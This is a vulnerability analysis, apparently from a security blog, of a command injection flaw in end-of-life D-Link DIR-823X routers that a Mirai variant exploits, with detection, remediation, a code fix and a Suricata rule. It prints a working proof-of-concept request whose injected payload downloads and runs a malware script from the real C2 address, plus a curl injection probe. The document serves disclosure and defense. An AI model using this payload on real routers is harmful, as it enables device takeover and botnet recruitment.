Vulnerability Analysis

CVE-2025-29635: D-Link DIR-823X Command Injection Actively Exploited by Mirai Botnet

Executive Summary

CVE-2025-29635 is a critical command injection vulnerability in end-of-life D-Link DIR-823X routers that allows unauthenticated attackers to execute arbitrary OS commands with root privileges via a crafted POST request to the device's web interface. The flaw is being actively weaponized by the Mirai botnet variant "tuxnokill", which recruits vulnerable routers for DDoS campaigns. CISA added CVE-2025-29635 to its Known Exploited Vulnerabilities (KEV) catalog on April 24, 2026, and no patch will ever be released — D-Link has declared the DIR-823X line end-of-life. If you or your organization has one of these routers still facing the internet, replace it immediately.

1. What Is This Vulnerability?

The DIR-823X router firmware exposes a CGI endpoint at /goform/set_prohibiting that handles MAC address-based access control for connected devices. Internally, the firmware function sub_42232C reads a POST body parameter (macaddr) and passes it — without any input validation or sanitization — directly into an snprintf-formatted command buffer that is then executed via the system() function.

The vulnerable pseudo-code looks roughly like this:

// VULNERABLE (firmware sub_42232C)
char cmd_buffer[256];
char *macaddr = get_post_param("macaddr");  // attacker-controlled

snprintf(cmd_buffer, sizeof(cmd_buffer), "iptables -A FORWARD -m mac --mac-source %s -j DROP", macaddr);
system(cmd_buffer);  // OS command executed as root!

Because macaddr is copied verbatim into cmd_buffer and then executed as a shell command, an attacker can inject arbitrary shell metacharacters to run any command on the device. Shell injection is achieved by appending a payload after a semicolon, pipe, or backtick.

Attack Vector

The attack is entirely network-based and requires no authentication:

  1. Attacker sends a crafted HTTP POST request directly to the router's web interface (typically exposed on port 80 or 443).
  2. The macaddr POST body field contains a malicious command injection payload.
  3. The router's CGI handler processes the request and invokes system() with attacker-controlled input.
  4. Arbitrary commands execute as root in the router's environment.

A minimal proof-of-concept HTTP request looks like this:

POST /goform/set_prohibiting HTTP/1.1
Host: <router-ip>
Content-Type: application/x-www-form-urlencoded

macaddr=AA:BB:CC:DD:EE:FF;wget http://64.89.161.130/tuxnokill.sh -O /tmp/t.sh;chmod+x /tmp/t.sh;/tmp/t.sh;

The router firmware extracts the parameter without checking which field it comes from in the request body, meaning the injection payload can be placed under any arbitrary parameter name — not just macaddr.

Real-World Impact

The tuxnokill Mirai variant has been actively exploiting this vulnerability since early March 2026, as observed across multiple security honeypot networks. After a successful injection, the malware:

  • Downloads a dropper shell script from C2 server 64.89.161[.]130 via port 44300
  • Uses XOR encoding (key 0x30) for payload obfuscation
  • Enrolls the compromised router into a DDoS botnet capable of launching volumetric attacks
  • Attempts lateral exploitation of nearby devices by also probing for CVE-2023-1389 (TP-Link Archer AX21) and a ZTE ZXV10 H108L RCE vulnerability

The same campaign cluster has demonstrated multi-vector scanning behavior, meaning any exposed DIR-823X device is likely to be found and compromised within hours of being connected to the internet.

2. Who Is Affected?

Component Details
Affected Device D-Link DIR-823X (AC2000) wireless router
Affected Firmware Versions 240126 and 24082
Patch Available? ❌ No — device is End-of-Life. D-Link will not release a fix.
CISA KEV Added April 24, 2026
CVSS v3.1 Score 8.8 (High)
Attack Vector Network / No Authentication Required
Privileges Required None
User Interaction None

The DIR-823X is a consumer-grade router sold primarily between 2020 and 2023. It is likely still deployed in homes and small offices that have not refreshed their networking hardware. Because D-Link has declared the product EOL, there will be no firmware patch under any circumstances.

The vulnerability is easily exploitable with no specialized tooling — a simple curl command is sufficient to trigger remote code execution.

3. How to Detect It (Testing)

Manual Testing Steps

⚠️ Only test devices you own or have explicit written authorization to test.

Step 1: Identify the router model

  • Log in to the router admin panel (usually http://192.168.0.1)
  • Navigate to Status → Device Info and confirm firmware version is 240126 or 24082
  • Alternatively, use Shodan/Censys with query: "DIR-823X" to find internet-exposed instances (for authorized research only)

Step 2: Check external exposure

  • From an external perspective, probe the router's WAN IP for open HTTP/HTTPS ports (80, 443, 8080)
  • Use nmap -p 80,443,8080 <router-ip> to confirm the admin interface is reachable
  • If the admin interface is accessible from the internet, the device is exploitable

Step 3: Probe the vulnerable endpoint Send a benign canary command (ping test, no harmful payload) to confirm the injection point responds:

curl -X POST "http://<router-ip>/goform/set_prohibiting" \
  --data "macaddr=AA:BB:CC:DD:EE:FF;echo VULN_CONFIRMED > /tmp/vuln_test;"

If the router executes the command (no error, and subsequent requests show altered behavior), the device is vulnerable.

Step 4: Check for existing compromise

  • Examine outbound traffic from the router for connections to 64.89.161[.]130:44300
  • Check for unusual CPU utilization or abnormal outbound bandwidth
  • Review DNS query logs for unusual external domains from the router

Automated Scanning

Tool: Shodan CLI

# Search for internet-exposed DIR-823X devices
shodan search "D-Link DIR-823X" --fields ip_str,port,hostnames > exposed_dlink.txt

Tool: Nmap NSE

# Fingerprint the device and check for the vulnerable firmware string
nmap -p 80,443 --script http-title,http-headers <router-ip>

Tool: Nuclei (if a community template exists)

nuclei -t cves/2025/CVE-2025-29635.yaml -u http://<router-ip>

Tool: Network traffic monitoring (Zeek/Suricata)

  • Alert on outbound connections to 64.89.161[.]130 (tuxnokill C2)
  • Alert on TCP connections to port 44300 from router/gateway IPs

Code Review Checklist

For embedded/IoT firmware security reviews:

  • All CGI handler inputs validated before use in shell commands
  • system(), popen(), exec() calls never take user-controlled input directly
  • MAC address fields validate against regex ^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$
  • Input sanitization strips shell metacharacters: ;, &, |, `, $, (, )
  • Firmware update signing enforced to prevent malicious binary replacement
  • Admin interface not exposed on WAN interface by default

4. How to Fix It (Mitigation)

Primary recommendation: Replace the device. Since no patch will ever be issued, the only complete fix is to retire the DIR-823X.

Step-by-Step Remediation

Option A — Full Remediation (Recommended)

  1. Purchase a supported replacement router. Modern alternatives from ASUS, TP-Link, or Netgear with active firmware support are widely available. Look for devices that have received security patches within the last 6 months.
  2. Document your current network configuration — note your ISP credentials (PPPoE username/password), port forwarding rules, DNS settings, and WiFi credentials before the swap.
  3. Perform a factory reset on the old DIR-823X before disposal to wipe any credentials or configuration data.
  4. Dispose responsibly — return to a certified electronics recycler.

Option B — Temporary Risk Reduction (If Immediate Replacement Is Not Possible)

  1. Disable WAN admin access. Log in to the admin panel → Advanced → Remote Management → ensure it is disabled. This prevents the attack from the internet while still allowing the router to function.
  2. Restrict admin access to a single trusted internal IP using access control lists if the firmware supports it.
  3. Block ports 80, 443, 8080 on the WAN side by configuring upstream firewall rules (e.g., your ISP modem/gateway) to block inbound traffic to the router's admin interface.
  4. Enable outbound firewall rules to block connections to known C2 IPs. Add a block for 64.89.161[.]130 and port 44300.
  5. Monitor for compromise indicators — review router logs daily for unexpected outbound connections.

Code Fix Example

For firmware developers with embedded devices using similar patterns, here is the correct approach:

// BEFORE (vulnerable):
char cmd_buffer[256];
char *macaddr = get_post_param("macaddr");
snprintf(cmd_buffer, sizeof(cmd_buffer),
         "iptables -A FORWARD -m mac --mac-source %s -j DROP", macaddr);
system(cmd_buffer);

// AFTER (safe):
#include <regex.h>

int is_valid_mac(const char *mac) {
    regex_t regex;
    // Strict MAC address validation
    const char *pattern = "^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$";
    if (regcomp(&regex, pattern, REG_EXTENDED) != 0) return 0;
    int result = regexec(&regex, mac, 0, NULL, 0);
    regfree(&regex);
    return (result == 0);
}

char cmd_buffer[256];
char *macaddr = get_post_param("macaddr");

// Validate before use
if (!macaddr || !is_valid_mac(macaddr)) {
    send_error_response(400, "Invalid MAC address format");
    return;
}

// Safe: validated input only contains hex digits and colons
snprintf(cmd_buffer, sizeof(cmd_buffer),
         "iptables -A FORWARD -m mac --mac-source %s -j DROP", macaddr);
system(cmd_buffer);

Configuration Hardening

Even on patched or replacement devices, apply these hardening measures:

  • Disable remote management — never expose router admin interfaces to the WAN
  • Change default admin credentials immediately upon setup
  • Enable HTTPS-only for local admin access
  • Disable UPnP unless explicitly required — it can auto-expose services to the internet
  • Enable automatic firmware updates on all supported hardware
  • Segment IoT devices on a dedicated VLAN isolated from sensitive hosts

5. How to Test the Fix (Validation)

Regression Test Scenarios

  • Scenario A: After disabling WAN remote management, verify the /goform/set_prohibiting endpoint returns a connection refused or timeout from an external IP (not just the LAN).
  • Scenario B: Attempt the original injection payload from an internal network client — confirm the router either rejects the request or logs an access denied event.
  • Scenario C: Verify normal router functionality — LAN routing, WiFi, DHCP, DNS forwarding — is fully operational after hardening changes.

Security Test Cases

Test Case 1: Verify WAN exposure is eliminated

  • Precondition: Remote management disabled on router
  • Steps: From an external internet IP (use a VPS or mobile hotspot), attempt curl http://<router-WAN-IP>/goform/set_prohibiting
  • Expected Result: Connection timeout or refused — attack surface eliminated

Test Case 2: Verify injection payload no longer executes (internal test)

  • Precondition: Option B hardening applied (LAN-only admin access, WAF/firewall rules)
  • Steps: Submit the injection payload from an authorized test machine on LAN
  • Expected Result: Request rejected with HTTP 4xx, no command executed

Test Case 3: No active C2 beaconing

  • Precondition: Network monitoring enabled
  • Steps: Review 24 hours of outbound traffic from router
  • Expected Result: No outbound connections to 64.89.161[.]130:44300 or any non-ISP/DNS external IPs

Automated Tests

Use a Suricata/Zeek rule to detect exploitation attempts in real time:

# Suricata rule — CVE-2025-29635 exploitation attempt detection
alert http any any -> $HOME_NET any (
  msg:"CVE-2025-29635 D-Link DIR-823X Command Injection Attempt";
  flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:"/goform/set_prohibiting";
  http.request_body; content:"macaddr";
  pcre:"/macaddr=[^&]*[;&|`$()]/";
  classtype:web-application-attack;
  sid:2026029635;
  rev:1;
)

6. Prevention & Hardening

Best Practices

For home and SMB users:

  • Replace EOL networking hardware promptly. Any device no longer receiving security updates is a liability. Check the manufacturer's website for EOL dates on all routers, switches, and access points.
  • Never expose router admin panels to the internet. This is the single most impactful control for router security. All legitimate admin tasks can be done from the LAN.
  • Adopt a hardware refresh cycle. Consumer routers are typically supported for 3–5 years. Plan hardware replacements accordingly.

For enterprise and security teams:

  • Maintain an IoT/network device inventory with firmware versions and EOL dates. A spreadsheet isn't enough — use a dedicated asset management system.
  • Enforce network segmentation. IoT devices, especially consumer-grade routers in branch offices or remote workers' homes, should be isolated behind a monitored network boundary.
  • Deploy firmware compliance scanning. Tools like Tenable Nessus or Qualys can fingerprint network devices and flag firmware versions against known CVE databases.

Monitoring & Detection

Signs of active exploitation or compromise to watch for:

Indicator Description
Outbound TCP to 64.89.161[.]130:44300 Tuxnokill Mirai C2 communication
POST requests to /goform/set_prohibiting from WAN Active exploitation attempt
XOR-encoded binary downloads from external IPs Malware payload delivery
Unexpected spike in outbound UDP traffic Active DDoS participation
Abnormal DNS queries for .ru, .cn, or unknown TLDs C2 beacon via DNS
Router CPU at 100% with no user activity Botnet tasks running on device

Set up monitoring alerts in your SIEM (Splunk, Elastic, etc.) for all of the above. For home users, a Pi-hole or pfSense firewall with logging enabled can surface these anomalies.

References

Latest from the blog

See all →